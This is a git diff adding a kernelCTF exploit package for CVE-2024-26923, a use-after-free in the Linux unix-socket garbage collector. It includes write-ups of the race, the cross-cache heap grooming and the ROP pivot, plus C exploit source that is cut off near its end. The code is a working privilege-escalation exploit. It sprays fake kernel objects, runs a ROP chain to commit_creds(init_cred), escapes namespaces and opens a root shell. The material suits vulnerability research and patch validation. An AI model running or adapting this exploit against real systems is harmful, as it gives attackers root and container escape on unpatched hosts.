diff --git a/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/docs/exploit.md new file mode 100644 index 000000000..909e450ee --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/docs/exploit.md @@ -0,0 +1,219 @@ +## Triggering the race condition + +In this vulnerability we have two race windows. +The first one is in unix_stream_connect(): + +``` +static int unix_stream_connect(struct socket *sock, struct sockaddr *uaddr, + int addr_len, int flags) +{ +... + + unix_peer(sk) = newsk; + +[window 1 start] + unix_state_unlock(sk); + + /* take ten and send info to listening sock */ + spin_lock(&other->sk_receive_queue.lock); +[window 1 end] + + __skb_queue_tail(&other->sk_receive_queue, skb); + spin_unlock(&other->sk_receive_queue.lock); +... +``` + +This function is triggered by executing connect on CPU 0. This CPU will do nothing else until the race conditions part of the exploit is over. + +We have to use the other CPU available to perform 2 operations during this window: +1. Send the victim socket through this connecting socket. +2. Close the victim socket +3. Trigger garbage collection and run unix_gc() until the start of window 2. + +If we start too early, our send will fail because the socket is not connected yet and the exploit will fail. + +Second window is in the unix_gc function: +``` +void unix_gc(void) +{ +... + list_for_each_entry(u, &gc_candidates, link) + { + scan_children(&u->sk, dec_inflight, NULL); + } + +[window 2 start] + /* Restore the references for children of all candidates, + * which have remaining references. Do this recursively, so + * only those remain, which form cyclic references. + * + * Use a "cursor" link, to make the list traversal safe, even + * though elements might be moved about. + */ + list_add(&cursor, &gc_candidates); +[window 2 end] + while (cursor.next != &gc_candidates) { + u = list_entry(cursor.next, struct unix_sock, link); + + /* Move cursor to after the current position. */ + list_move(&cursor, &u->link); + + if (atomic_long_read(&u->inflight) > 0) { + list_move_tail(&u->link, ¬_cycle_list); + __clear_bit(UNIX_GC_MAYBE_CYCLE, &u->gc_flags); + scan_children(&u->sk, inc_inflight_move_tail, NULL); + } + } + list_del(&cursor); + + +``` + +For the vulnerability to be triggered two conditions have to be met: +1. The first scan_children() can not see the embryo in the receive queue of the server socket +2. The second scan_children() has to see the embryo. + +This causes a decrement/increment mismatch and the resulting use-after-free. + +In other words, window 2 has run inside the window 1 of unix_stream_connect(). + + +To have a chance of aligning the two threads correctly we have to extend both race windows as much as possible. +To do that we use a well-known timerfd technique invented by Jann Horn. +The basic idea is to set hrtimer based timerfd to trigger a timer interrupt during our race window and attach a lot (as much as RLIMIT_NOFILE allows) +of epoll watches to this timerfd to make the time needed to handle the interrupt longer. +For more details see the original [blog post](https://googleprojectzero.blogspot.com/2022/03/racing-against-clock-hitting-tiny.html). + +Here's the triggering sequence (we use 2 CPUs, CPU1 is executing child_send() thread): + +| CPU 0 | CPU 1 | +| -------- | -------- | +| arms timer 1 to trigger after a delay | - | +| calls connect() on the client socket | - | +| unix_stream_connect() runs until the start of window 1 | - | +| timer 1 is triggered during window 1 | - | +| timer goes through all epoll notifications | sends victim socket through the client socket | +| ... | closes victim socket | +| ... | arms timer 2 to trigger after a delay | +| ... | closes another socket to trigger unix_gc() | +| ... | unix_gc() runs until the start of window 2 | +| ... | timer 2 is triggered during window 2 | +| timer 1 handler ends | timer goes through all epoll notifications | +| window 1 ends, embryo is added to the receive queue | ... | +| - | timer 2 handler ends, window 2 ends | +| - | second scan_children() executes inc_inflight_move_tail() on the victim socket | + +## Exploiting the use-after-free + +At this point our victim socket is inflight, linked in the gc_inflight_list and has a inflight reference value of 2. +Next step is to receive this socket and close it. This will cause its struct sock object to be freed, but it will stay referenced in the gc_inflight_list. +In case of unix sockets, struct sock is allocated from a separate kmalloc cached called 'UNIX'. On our target one slab takes a order 2 (size 0x4000) page and fits 15 objects. + +To be able to exploit the use-after-free we have to cause the slab containing our victim objects to be discarded and returned to the page allocator. +This is done using standard cross-cache techniques: +1. Free all objects of the given slab +2. Create a lot of partial slabs to unfreeze the empty slab and get it discarded + +However, in this case we need maximum reliability - winning the race is such a rare event that we can't afford to make mistakes in the later stages of the exploit. + +Because of this we used the /proc/zoneinfo parsing technique to establish a known UNIX cache state before starting the exploit attempt. +This is done in the get_fresh_unix() function. +One problem that we have to solve is that when a unix socket an allocation is also made from sock_inode_cache, which uses slabs of the same size (0x4000) as the UNIX cache, causing issues with detecting a new UNIX slab. + +To solve this we first allocate some netlinks objects, which do not have their own dedicated sock object cache, so the only order 2 page allocation comes from sock_inode_cache. +This allows us to get a fresh sock_inode_cache slab first and then proceed with unix socket allocations to get a fresh UNIX slab. + +After the slab page is returned to the page allocator we can easily reallocate it using an xattr of size 0x4000 - xattrs larger than 0x2000 are allocated directly from the page allocator. + +## Getting RIP control + +At this point we have a struct sock object linked in the gc_inflight_list that we can fill with arbitrary data. +This list is used by unix_gc() and if we are able to craft a fake sock object convincing enough that unix_gc() will be able to traverse the gc_inflight_list and move sk_buff objects from our sock object to the 'hitlist' that will be passed to the skb_queue_purge(). + +unix_gc() uses list handling functions to move the victim object between lists multiple times and CONFIG_DEBUG_LIST is on, so our object has to have valid prev/next list pointers. +Also, properties such as sk_socket->file are accessed, meaning we have to also craft related objects (or at least their part) like struct socket, struct file, struct inode and finally sk_buff - this object will contain function pointer giving us RIP control and the ROP chain. + +But first, we need a place with a known address to store all these objects. + +### Crafting objects in kernel memory + +The fake kernel objects were sprayed into the physical memory by creating a lot of large tmpfs xattrs and referenced by using a direct mapping address - more details about that can be found in the [novel techniques](novel-techniques.md) section. + +The first fake socket to replace the victim object on the gc_inflight_list is prepared in prepare_sock() and has pointers to the ones prepared in prepare_more_socks(). These are actually allocated at the very beginning of the exploit - we can do it because their location in memory is known in advance. + +### Triggering the sk_buff destructor to get RIP control + +When an inflight socket is chosen to be released by the unix_gc() the sk_buff carrying it is removed from the sk_receive_queue and linked into the 'hitlist' and then skb_queue_purge() is called on that list: +``` +static inline void __skb_queue_purge(struct sk_buff_head *list) +{ + struct sk_buff *skb; + while ((skb = __skb_dequeue(list)) != NULL) + kfree_skb(skb); +} +``` + +If this is the last reference to a given skb, skb_release_head_state() is eventually called: +``` +void skb_release_head_state(struct sk_buff *skb) +{ + skb_dst_drop(skb); + if (skb->destructor) { + DEBUG_NET_WARN_ON_ONCE(in_hardirq()); + skb->destructor(skb); + } +#if IS_ENABLED(CONFIG_NF_CONNTRACK) + nf_conntrack_put(skb_nfct(skb)); +#endif + skb_ext_put(skb); +} +``` + +Because we control all the contents of the sk_buff object we can make sure the destructor will be called. + +## Pivot to ROP + +When the destructor is called, RDI contains a pointer to our fake sk_buff object. +First 16 bytes of this objects are used the the list head, so we can't start our ROP there. + +Following chain of gadgets allows us to pivot to rdi+0x10 where our ROP chain starts: + +``` +mov r8,QWORD PTR [rdi+0xc8] +mov eax,0x1 +test r8,r8 +je 0xffffffff8218aac1 +mov rsi,rdi +mov rcx,r14 +mov rdi,rbp +mov rdx,r15 +call 0xffffffff8242ca60 <__x86_indirect_thunk_r8> +``` + +This copies RDI to RSI + +``` +push rsi +jmp qword [rsi-0x70] +``` + +This pushes RSI to the stack. We can safely use -0x70 offset because our sk_buff is a part of a larger allocation + +Finally: + +``` +pop rsp +pop rbp +pop rbx +ret +``` + +Two pops at the end move RSP after the list_head head of sk_buff + +## Second pivot + +There is not much space at the beginning of the sk_buff - next used field is at 0x38 offset, so we have space for only 3 gadgets, but this is enough to pivot to a larger space with a simple pop rsp ; ret + +## Privilege escalation + +The second stage of the ROP does the standard commit_creds(init_cred); switch_task_namespaces(pid, init_nsproxy); sequence and returns to the userspace. diff --git a/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/docs/novel-techniques.md b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/docs/novel-techniques.md new file mode 100644 index 000000000..18ec4b3fb --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/docs/novel-techniques.md @@ -0,0 +1,13 @@ +### Storing objects under a known address in kernel memory + +There's a surprisingly simple way to store almost unlimited amount of data at a known kernel address, which makes tricks like using cpu_entry_area obsolete. + +All data stored in the memory is accessible in kernel mode via direct physical memory mapping. +Virtual address of an object is the start of the direct mapping (page_offset_base) plus an offset based on the PFN of the physical page. +Physical memory addresses of heap slabs or user memory are easily predicted - only kernel code/data sections are randomized. +Even if everything would be randomized, we could just spray most of the physical memory with our payload, defeating any such mitigation. + +page_offset_base is randomized, but on systems with the PTI disabled we can use a side channel technique like prefetch to leak this address, same way we do with the start of the kernel code section. + +There are many ways to store data in memory - I prefer using large xattrs on tmpfs. +The maximum size is of one xattr 0xffff bytes and allocations over 0x2000 are served directly from the page allocator. diff --git a/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/docs/vulnerability.md new file mode 100644 index 000000000..ced0da2b2 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/docs/vulnerability.md @@ -0,0 +1,84 @@ +## Requirements to trigger the vulnerability + +- Kernel configuration: CONFIG_UNIX +- User namespaces required: no + +## Commit which introduced the vulnerability + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=1fd05ba5a2f2aa8e7b9b52ef55df850e2e7d54c9 + +## Commit which fixed the vulnerability + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=47d8ac011fe1c9251070e1bd64cb10b48193ec51 + +## Affected kernel versions + +Introduced in 3.0. Fixed in 6.1.87, 6.6.28 and other stable trees. + +## Affected component, subsystem + +net/unix + +## Description + +Garbage collector does not take into account the risk of embryo getting +enqueued during the garbage collection. If such embryo has a peer that +carries SCM_RIGHTS, two consecutive passes of scan_children() may see a +different set of children. Leading to an incorrectly elevated inflight +count, and then a dangling pointer within the gc_inflight_list. + +sockets are AF_UNIX/SOCK_STREAM: +- S is an unconnected socket +- L is a listening in-flight socket bound to addr, not in fdtable +- V's fd will be passed via sendmsg(), gets inflight count bumped + +``` +connect(S, addr) sendmsg(S, [V]); close(V) __unix_gc() +---------------- ------------------------- ----------- + +NS = unix_create1() +skb1 = sock_wmalloc(NS) +L = unix_find_other(addr) +unix_state_lock(L) +unix_peer(S) = NS + + + // V count=1 inflight=0 + + NS = unix_peer(S) + skb2 = sock_alloc() + skb_queue_tail(NS, skb2[V]) + + // V became in-flight + // V count=2 inflight=1 + + close(V) + + // V count=1 inflight=1 + // GC candidate condition met + + for u in gc_inflight_list: + if (total_refs == inflight_refs) + add u to gc_candidates + + // gc_candidates={L, V} + + for u in gc_candidates: + scan_children(u, dec_inflight) + + // embryo (skb1) was not + // reachable from L yet, so V's + // inflight remains unchanged + + +__skb_queue_tail(L, skb1) +unix_state_unlock(L) + + + for u in gc_candidates: + if (u.inflight) + scan_children(u, inc_inflight_move_tail) + + // V count=1 inflight=2 (!) + +``` diff --git a/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/cos-109-17800.147.54/Makefile b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/cos-109-17800.147.54/Makefile new file mode 100644 index 000000000..44758c56f --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/cos-109-17800.147.54/Makefile @@ -0,0 +1,9 @@ +INCLUDES = +LIBS = -pthread -ldl +CFLAGS = -fomit-frame-pointer -static -fcf-protection=none + +exploit: exploit.c kernelver_17800.147.54.h + gcc -o $@ exploit.c $(INCLUDES) $(CFLAGS) $(LIBS) + +prerequisites: + sudo apt-get install libkeyutils-dev diff --git a/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/cos-109-17800.147.54/exploit b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/cos-109-17800.147.54/exploit new file mode 100755 index 000000000..ff3cd23d5 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/cos-109-17800.147.54/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/cos-109-17800.147.54/exploit.c b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/cos-109-17800.147.54/exploit.c new file mode 100644 index 000000000..b2380f165 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26923_lts_cos/exploit/cos-109-17800.147.54/exploit.c @@ -0,0 +1,1056 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + + +#include "kernelver_17800.147.54.h" + +static char *g_mmapped_buf; +static uint64_t g_kernel_text; +char *g_stack1; +#define STACK_SIZE (1024 * 1024) /* Stack size for cloned child */ +uint64_t leak_kernel_text(); + +static int g_event1; + +#define XATTR_HEAD_SIZE 0x20 +#define SLAB_CNT 15 +enum UNIX_IDX_RANGE { + AFTER, + PARTIAL, + PARTIAL2, + FRESH, + FRESH2, + IDX_MAX +}; + +#define PARTIAL_CNT SLAB_CNT*20 +#define PARTIAL2_CNT SLAB_CNT*15 +#define AFTER_CNT SLAB_CNT-1 +#define UNIX_MAX_CHUNK 1000 +#define UNIX_IDX(base, offset) (base*UNIX_MAX_CHUNK + offset) + +static int g_socks[UNIX_MAX_CHUNK*IDX_MAX]; + + +#ifdef DEBUG +#define err(errcode, msg, ...) \ + do { \ + perror(msg); \ + sleep(1000); \ + } while (0) +#define errx(errcode, msg, ...) \ + do { \ + puts(msg); \ + sleep(1000); \ + } while (0) +#endif + + + +void set_cpu(int cpu) +{ + cpu_set_t cpus; + CPU_ZERO(&cpus); + CPU_SET(cpu, &cpus); + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus) < 0) { + perror("setaffinity"); + exit(1); + } +} + +void get_kctf_flag() +{ + char buf[512]; + + + int fd = open("/flag", O_RDONLY); + + if (fd < 0) + return; + + size_t n = read(fd, buf, sizeof(buf)); + if (n > 0) { + printf("Flag:\n"); + + write(1, buf, n); + + printf("\n"); + } + + close(fd); +} + +static char *g_sh_argv[] = {"sh", NULL}; + +static int g_status; + +#define MMAP_SIZE 0x10000 +#define XATTR_CHUNK 1000 +#define XATTR_CNT 6000 + +static uint64_t g_payload_location; +static uint64_t g_page_offset_base; + +static int g_pwned; +static char *g_rop2; +static size_t g_rop2_len; + +#define ROP2_CONST_AREA 0x10 +#define ROP2_CONST_OFFSET 0x200 + +#define KOFFSET(x) (x-0xffffffff81000000uL) + +uint64_t kaddr(uint64_t addr) +{ + return g_kernel_text + addr - 0xffffffff81000000uL; +} + +void __attribute__((naked)) get_root() +{ + asm volatile( + "push %r15\n" + "push %r14\n" + "push %r13\n" + "push %r12\n" + "push %rbx\n" + "push %rbp\n" + "lea -0x2957a1(%rip), %r15\n" + ); + asm volatile( + "lea (%%r15,%0), %%rdi\n" + "lea (%%r15,%1), %%r12\n" + "call *%%r12\n" + :: + "r" (KOFFSET(INIT_CRED)), + "r" (KOFFSET(COMMIT_CREDS)) + ); + asm volatile( + "lea (%%r15,%0), %%r12\n" + "call *%%r12\n" + :: + "r" (KOFFSET(AUDIT_SYSCALL_EXIT)) + ); + + asm volatile( + "lea (%%r15,%0), %%r12\n" + "mov $1, %%rdi\n" + "call *%%r12\n" + "mov %%rax, %%r13\n" + :: + "r" (KOFFSET(FIND_TASK_BY_VPID)) + ); + + asm volatile( + "movq 0x820(%%r13), %%r14\n" + "movq $0x10, (%%r14)\n" + "lea (%%r15,%0), %%rsi\n" + "mov %%r13, %%rdi\n" + "lea (%%r15,%1), %%r12\n" + "call *%%r12\n" + :: + "r" (KOFFSET(INIT_NSPROXY)), + "r" (KOFFSET(SWITCH_TASK_NAMESPACES)) + ); + + asm volatile( + "lea (%%r15,%0), %%rcx\n" + "mov $0x1337, %%rax\n" + "pop %%rbp\n" + "pop %%rbx\n" + "pop %%r12\n" + "pop %%r13\n" + "pop %%r14\n" + "pop %%r15\n" + "jmp *%%rcx\n" + :: + "r" (KOFFSET(RETURN_THUNK)) + ); + +} + +void __attribute__((naked)) after_pwn() +{ +// Fix user stack and recover eflags since we didn't do when returning from kernel mode + asm volatile( + "mov %0, %%rsp\n" + :: "r" (g_mmapped_buf + MMAP_SIZE - 0x100) + ); + + g_pwned = 1; + + + set_cpu(1); + + int pid = fork(); + + if (!pid) { + + if (setns(open("/proc/1/ns/mnt", O_RDONLY), 0) < 0) + perror("setns"); + + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + if (access("/proc/vmallocinfo", R_OK)) { + printf("Exploit failed!\n"); + exit(1); + } + printf("\nGot root!!!\n"); + printf("Getting kctf flags ...\n"); + + get_kctf_flag(); + + printf("Launching shell, system will crash when you exit because I didn't bother with recovery ...\n"); + execve("/bin/sh", g_sh_argv, NULL); + _exit(0); + } + + waitpid(pid, &g_status, 0); + + + + printf("Shell exited, sleeping for 30 seconds, after that system might crash\n"); + + sleep(30); + _exit(0); +} + + +size_t prepare_rop2(uint64_t *rop2, uint64_t *const_area, uint64_t const_area_kernel) + +{ + uint64_t *rop2_start = rop2; + + *rop2++ = kaddr(POP_RDI); + *rop2++ = kaddr(INIT_CRED); + *rop2++ = kaddr(COMMIT_CREDS); + + // Namespace escape based on code by Crusaders of Rust + *rop2++ = kaddr(POP_RDI); + *rop2++ = 1; + *rop2++ = kaddr(FIND_TASK_BY_VPID); + *rop2++ = kaddr(MOV_RDI_RAX); + + *rop2++ = kaddr(POP_RSI); + *rop2++ = kaddr(INIT_NSPROXY); + + *rop2++ = kaddr(SWITCH_TASK_NAMESPACES); + + + *rop2++ = kaddr(POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX); +// eflags + *rop2++ = 0; + rop2 += 6; + +// Userspace RIP + *rop2++ = (uint64_t) after_pwn; + + *rop2++ = kaddr(RETURN_VIA_SYSRET); + + return (char *) rop2 - (char *) rop2_start; +} + + + +int alloc_xattr_fd_attr(int fd, char *attr, size_t size, void *buf) +{ + int res = fsetxattr(fd, attr, buf, size - XATTR_HEAD_SIZE, XATTR_CREATE); + if (res < 0) { + err(1, "fsetxattr"); + } + + return fd; +} + +int alloc_xattr_fd(int fd, unsigned int id, size_t size, void *buf) +{ + char *attr; + + asprintf(&attr, "security.%d", id); + alloc_xattr_fd_attr(fd, attr, size, buf); + + return fd; +} + + +void free_xattr_fd(int fd, int id) +{ + char *attr; + + asprintf(&attr, "security.%d", id); + + fremovexattr(fd, attr); +} + + +int alloc_xattr(unsigned int id, size_t size, void *buf) +{ + int fd; + char *fname; + + asprintf(&fname, "/tmp/xattr%d", id); + fd = open(fname, O_RDWR|O_CREAT); + if (fd < 0) + err(1, "open xattr"); + + alloc_xattr_fd_attr(fd, "security.attr", size, buf); + + return fd; +} + + + +int recv_fds(int sock, int *fds, unsigned cnt) +{ + struct cmsghdr *cmsg; + int ret = -1; + char buf[256]; + char cbuf[CMSG_SPACE(sizeof(int)*cnt)]; + int fd = -1; + + struct iovec iov = { + .iov_base = buf, + .iov_len = 1 + }; + + struct msghdr msg = { + .msg_iov = &iov, + .msg_iovlen = 1, + .msg_control = cbuf, + .msg_controllen = sizeof(cbuf)*cnt + }; + + ret = recvmsg(sock, &msg, MSG_DONTWAIT); + + if (ret < 0) { +// perror("recvmsg unix"); + return ret; + } + + if (ret >= 0) { + if (msg.msg_controllen < 24) + return -1; + cmsg = CMSG_FIRSTHDR(&msg); + memcpy(fds, CMSG_DATA(cmsg), sizeof(fd)*cnt); + + } + return 0; +} + +int recv_fd(int sock) +{ + int fd; + return recv_fds(sock, &fd, 1) ? -1 : fd; +} + +int send_fds(int sock, int *fds, unsigned int cnt) +{ + struct cmsghdr *cmsg; + int ret; + char buf[128]; + char cbuf[CMSG_SPACE(sizeof(int)*cnt)]; + + struct iovec iov = { + .iov_base = buf, + .iov_len = 1 + }; + + struct msghdr msg = { + .msg_iov = &iov, + .msg_iovlen = 1, + .msg_control = cbuf, + .msg_controllen = sizeof(cbuf) + }; + + + cmsg = CMSG_FIRSTHDR(&msg); + cmsg->cmsg_level = SOL_SOCKET; + cmsg->cmsg_type = SCM_RIGHTS; + cmsg->cmsg_len = CMSG_LEN(sizeof(int)*cnt); + + memcpy(CMSG_DATA(cmsg), fds, sizeof(*fds)*cnt); + ret = sendmsg(sock, &msg, 0); + +// if (ret < 0) +// perror("sendmsg fd\n"); + + return ret; + +} + +int send_fd(int sock, int fd) +{ + return send_fds(sock, &fd, 1); +} + +#define DUP_CNT 1300 +#define EPOLL_CNT 550 + + + +void create_watches(int fd, int dup_cnt) +{ + int epoll_fds[EPOLL_CNT]; + int tfd_dups[DUP_CNT]; + + for (int i=0; itv_nsec += usecs * 1000; + + if (ts->tv_nsec >= NSEC_PER_SEC) { + ts->tv_sec++; + ts->tv_nsec -= NSEC_PER_SEC; + } +} + + +struct child_arg { + int tfd; + int sock; + int try; + int delay1; + int delay2; + int victim; + int slowdown; + int gc; + int event; +}; + +int child_send(void *arg) +{ + struct itimerspec its = { 0 }; + struct child_arg *carg = (struct child_arg *) arg; + set_cpu(1); + + + ts_add(&its.it_value, carg->delay2); + + eventfd_t event_value; + eventfd_read(carg->event, &event_value); + + send_fd(carg->sock, carg->victim); + close(carg->victim); + + timerfd_settime(carg->tfd, 0, &its, NULL); + close(carg->gc); + + volatile uint64_t v; + while(1) + { + v++; + } + + sleep(1000); + return v; + +} + +void prepare_sock(char *buf) +{ +// sk_receive_queue.next + *(uint64_t *) (buf + 0xd8) = 0xcafebabe; +// sk_receive_queue.prev + *(uint64_t *) (buf + 0xd8 + 8) = 0xdeadbeef;; + +// entry 1 +// sk_socket + *(uint64_t *) (buf + 0x270) = g_payload_location + 0x1000 - 0x10; +// link.next + *(uint64_t *) (buf + 0x378) = g_payload_location + 0x1000 + 0x378; +// link.prev + *(uint64_t *) (buf + 0x378 + 8) = 0; +// inflight + *(uint64_t *) (buf + 0x388) = 1; +} + +void prepare_more_socks(char *buf) +{ +// sk_receive_queue.next + *(uint64_t *) (buf + 0xd8) = g_payload_location + 0x3000; +// sk_receive_queue.prev + *(uint64_t *) (buf + 0xd8 + 8) = 0xdeadbeef;; + +// entry 3 +// sk_socket->file + *(uint64_t *) (buf + 0x270) = g_payload_location + 0x2000 - 0x10; +// link.next + *(uint64_t *) (buf + 0x378) = g_payload_location + 0x1600 + 0x378; +// link.prev + *(uint64_t *) (buf + 0x378 + 8) = g_payload_location + 0x1000 + 0x378; +// inflight + *(uint64_t *) (buf + 0x388) = 1; + +// entry 4 +// sk_socket->file + *(uint64_t *) (buf + 0x1600 + 0x270) = g_payload_location + 0x1000 - 0x10; +// link.next + *(uint64_t *) (buf + 0x1600 + 0x378) = kaddr(GC_INFLIGHT_LIST); +// link.prev + *(uint64_t *) (buf + 0x1600 + 0x378 + 8) = g_payload_location + 0x378; +// inflight + *(uint64_t *) (buf + 0x1600 + 0x388) = 1; + +// entry 2 +// sk_socket->file + *(uint64_t *) (buf + 0x1000 + 0x270) = g_payload_location + 0x1000 - 0x10; +// link.next + *(uint64_t *) (buf + 0x1000 + 0x378) = g_payload_location + 0x378; +// link.prev + *(uint64_t *) (buf + 0x1000 + 0x378 + 8) = 0; +// inflight + *(uint64_t *) (buf + 0x1000 + 0x388) = 1; + +// ->file.fcount + *(uint64_t *) (buf + 0x1000) = g_payload_location + 0x1000 + 8 - 0x38; + *(uint64_t *) (buf + 0x1000 + 8) = 2; + +// ->file.fcount for 2nd sock + *(uint64_t *) (buf + 0x2000) = g_payload_location + 0x2000 + 8 - 0x38; + *(uint64_t *) (buf + 0x2000 + 8) = 1; + +// sk_buff +// next + *(uint64_t *) (buf + 0x3000) = g_payload_location + 0xd8; +// prev + *(uint64_t *) (buf + 0x3000 + 8) = kaddr(GC_INFLIGHT_LIST); + + uint64_t *rop = (uint64_t *) (buf + 0x3000 + 0x10); + + uint64_t *rop2 = (uint64_t *) (buf + 0x5100); + prepare_rop2(rop2, (uint64_t *) (buf + 0x6100), g_payload_location + 0x6100); + + *rop++ = kaddr(POP_RSP); + *rop++ = g_payload_location + 0x5100; + +// cb.fp + *(uint64_t *) (buf + 0x3000 + 0x28 + 0x10) = g_payload_location + 0x4000; + + *(uint64_t *) (buf + 0x3000 - 0x70) = kaddr(POP_RSP_RBP_RBX); +// destructor + *(uint64_t *) (buf + 0x3000 + 0x60) = kaddr(G1); + *(uint64_t *) (buf + 0x3000 + 0xc8) = kaddr(PUSH_RSI_JMP_QWORD_RSI_MINUS70); +// users + *(uint32_t *) (buf + 0x3000 + 0xdc) = 1; + + +// fpl.count + *(uint16_t *) (buf + 0x4000) = 1; + +// fpl.fp + *(uint64_t *) (buf + 0x4000 + 0x10) = g_payload_location + 0x4100; + +// struct file->f_inode + *(uint64_t *) (buf + 0x4100 + 0x20) = g_payload_location + 0x5000; + +// struct socket +// sk + *(uint64_t *) (buf + 0x4f80 + 0x18) = g_payload_location; +// ops + *(uint64_t *) (buf + 0x4f80 + 0x20) = kaddr(UNIX_FAMILY_OPS); +// struct inode +// i_mode + *(uint64_t *) (buf + 0x5000) = 0140000; + +} + + +unsigned int parse_zoneinfo(char *buf, char *zone, unsigned int cpu, unsigned int *high, unsigned int *batch) +{ + char *t; + + t = strstr(buf, zone); + + char cpustr[10]; + snprintf(cpustr, sizeof(cpu), "cpu: %d", cpu); + + t = strstr(t, cpustr); + t = strstr(t, "count: "); + + unsigned int cnt = atoi(t+7); + + if (high) { + t = strstr(t, "high: "); + *high = atoi(t+6); + } + + if (batch) { + t = strstr(t, "batch: "); + *batch = atoi(t+7); + } + + return cnt; + +} + +unsigned int get_pagecount(unsigned int cpu, unsigned int *high, unsigned int *batch) +{ + static char zibuf[10000]; + static int fdzi = -1; + + if (fdzi < 0) { + fdzi = open("/proc/zoneinfo", 0, O_DIRECT); + if (fdzi < 0) + err(1, "open zoneinfo"); + } + + lseek(fdzi, SEEK_SET, 0); + read(fdzi, zibuf, sizeof(zibuf)); + + return parse_zoneinfo(zibuf, "zone DMA32", cpu, high, batch); +} + +int get_fresh_unix(unsigned int cpu, int xattr_fd) +{ + unsigned int pcp1, pcp2; + + +// Prefill PCP order 2 + for (int i = 0; i < 10; i++) + { + alloc_xattr_fd(xattr_fd, 1000+i, 0x4000, g_mmapped_buf); + } + + for (int i = 0; i < 10; i++) + { + free_xattr_fd(xattr_fd, 1000+i); + } + + unsigned int detected = 0; + + pcp1 = get_pagecount(cpu, NULL, NULL); + +// Get fresh sock_inode_cache slab + for (unsigned int i = 0; i < SLAB_CNT*10; i++) + { + g_socks[UNIX_IDX(FRESH, i)] = socket(AF_NETLINK, SOCK_STREAM, 0); + pcp2 = get_pagecount(cpu, NULL, NULL); + int delta = pcp2 - pcp1; + pcp1 = pcp2; + + if (i > 1 && (delta <= -4 && delta > -8)) { + detected = 1; + break; + } + + } + + if (!detected) + errx(1, "Unable to detect fresh sock_inode slab"); + + + detected = 0; + + int first_unix; + for (unsigned int i = 0; i < SLAB_CNT*10; i++) + { + g_socks[UNIX_IDX(FRESH2, i)] = socket(AF_UNIX, SOCK_STREAM, 0); + pcp2 = get_pagecount(cpu, NULL, NULL); + int delta = pcp2 - pcp1; + + if (delta <= -4 && delta > -8) { + detected = 1; + first_unix = g_socks[UNIX_IDX(FRESH2, i)]; + break; + } + + pcp1 = pcp2; + } + + if (!detected) + errx(1, "Unable to detect fresh UNIX slab"); + + + return first_unix; +} + +#define FD_PER_SOCKET 250 +void one_attempt(int tfd, int tfd2, int xattr_fd, int *fds) +{ + int pair[2]; + static unsigned int try = 0; + int c2; + + int oldgc = socket(AF_UNIX, SOCK_STREAM, 0); + + + for (int i = 0; i < PARTIAL_CNT; i++) + { + g_socks[UNIX_IDX(PARTIAL, i)] = socket(AF_UNIX, SOCK_STREAM, 0); + } + + for (int i = 0; i < PARTIAL2_CNT; i++) + { + g_socks[UNIX_IDX(PARTIAL2, i)] = socket(AF_UNIX, SOCK_STREAM, 0); + } + + int victim = get_fresh_unix(0, xattr_fd); + + + int gc = dup(oldgc); + close(oldgc); + for (int i = 0; i < AFTER_CNT; i++) + { + g_socks[UNIX_IDX(AFTER, i)] = socket(AF_UNIX, SOCK_STREAM, 0); + } + + + if (socketpair(AF_UNIX, SOCK_STREAM, 0, pair) < 0) + err(1, "unix pari"); + + int server = socket(AF_UNIX, SOCK_STREAM, 0); + if (server < 0) + err(1, "socket unix"); + +// Increase node->nr_partial + for (int i = 0; i < PARTIAL2_CNT; i++) + { + if ((i % 4) == 0) + close(g_socks[UNIX_IDX(PARTIAL2, i)]); + } + + struct sockaddr_un saddr; + saddr.sun_family = AF_UNIX; + int salen = sizeof(saddr.sun_family) + sprintf(saddr.sun_path, "%c/unix-gc-%d", '\0', getpid()); + + if (bind(server, (struct sockaddr *)&saddr, salen) < 0) + err(1, "unix bind"); + + if (listen(server, -1) < 0) + err(1, "listen"); + + send_fd(pair[0], server); + close(server); + + + int client = socket(AF_UNIX, SOCK_STREAM, 0); + if (client < 0) + err(1, "socket unix"); + int trigger_sock = socket(AF_UNIX, SOCK_STREAM, 0); + if (trigger_sock < 0) + err(1, "socket unix"); + + struct child_arg carg = { + .tfd = tfd, + .try = try++, + .sock = client, + .victim = victim, + .gc = gc, + .event = g_event1 + }; + + carg.delay1 = 20; + carg.delay2 = 22; + printf("delays: %d %d try: %d\n", carg.delay1, carg.delay2, carg.try); + usleep(50000); + + pid_t pid = clone(child_send, g_stack1 + STACK_SIZE, CLONE_FS | CLONE_FILES | SIGCHLD, (void *) &carg); + + sleep(0.1); + eventfd_write(g_event1, 1); + + struct itimerspec its = { 0 }; + ts_add(&its.it_value, carg.delay1); + timerfd_settime(tfd2, 0, &its, NULL); + + if (connect(client, (struct sockaddr *) 